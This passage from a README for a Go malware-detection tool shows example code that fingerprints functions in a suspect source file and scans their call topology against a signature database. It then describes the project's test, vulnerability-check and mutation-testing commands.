"github.com/BlackVectorOps/semantic_firewall/v7/pkg/diff"
"github.com/BlackVectorOps/semantic_firewall/v7/pkg/storage/pebbledb"
)
func main() {
opts := pebbledb.DefaultPebbleScannerOptions()
opts.ReadOnly = true
scanner, err := pebbledb.NewPebbleScanner("signatures.db", opts)
if err != nil {
log.Fatal(err)
}
defer scanner.Close()
src, err := os.ReadFile("suspect.go")
if err != nil {
log.Fatal(err)
}
results, err := diff.FingerprintSource("suspect.go", string(src), ir.DefaultLiteralPolicy)
if err != nil {
log.Fatal(err)
}
for _, r := range results {
topo := topology.ExtractTopology(r.GetSSAFunction())
if topo == nil {
continue
}
fmt.Printf("%s calls=%v capabilities=%v fuzzy=%s\n", r.FunctionName, topo.CallTargets, topo.Capabilities, topo.FuzzyHash)
alerts, err := scanner.ScanTopology(topo, r.FunctionName)
if err != nil {
log.Fatal(err)
}
for _, a := range alerts {
fmt.Printf(" [%s] %s confidence=%.2f\n", a.Severity, a.SignatureName, a.Confidence)
}
}
}CGO_ENABLED=0 go vet ./...
CGO_ENABLED=0 go test ./...
CGO_ENABLED=1 go test -race ./pkg/diff/... ./pkg/api/... ./internal/actiontest/....github/workflows/test.yml runs these on every pull request. internal/actiontest runs the Action's shell steps from action.yml against fixture repositories, with an sfw built from the tree; it needs jq and bc.
.github/workflows/govulncheck.yml fails a pull request whose code reaches a known vulnerability, and runs weekly to catch advisories published after a merge:
CGO_ENABLED=0 go run golang.org/x/vuln/cmd/govulncheck@v1.8.0 ./...tools/mutate is a mutation tester for the lines a branch changed. It applies one fault at a time (an operator flipped, a condition forced, a statement removed) to the Go files changed since a base commit, runs the tests, and lists every mutant no test caught:
go run ./tools/mutate -base origin/main -pkgs ./pkg/analysis/topology -workers 3
go run ./tools/mutate -base origin/main -list # mutants per file-goflags passes extra go test flags to every mutant run (-goflags "-race -shuffle=on"; -race turns cgo on for the test binary). -run limits the tests run per mutant, -tests names the packages whose tests judge it (default: the mutated file's package), -files limits the files mutated, and -retest <output> reruns only the survivors of an earlier run. A surviving mutant is a missing test, or code no test can observe (a cache, a check that cannot fail); each needs one answer or the other.
MIT. See LICENSE.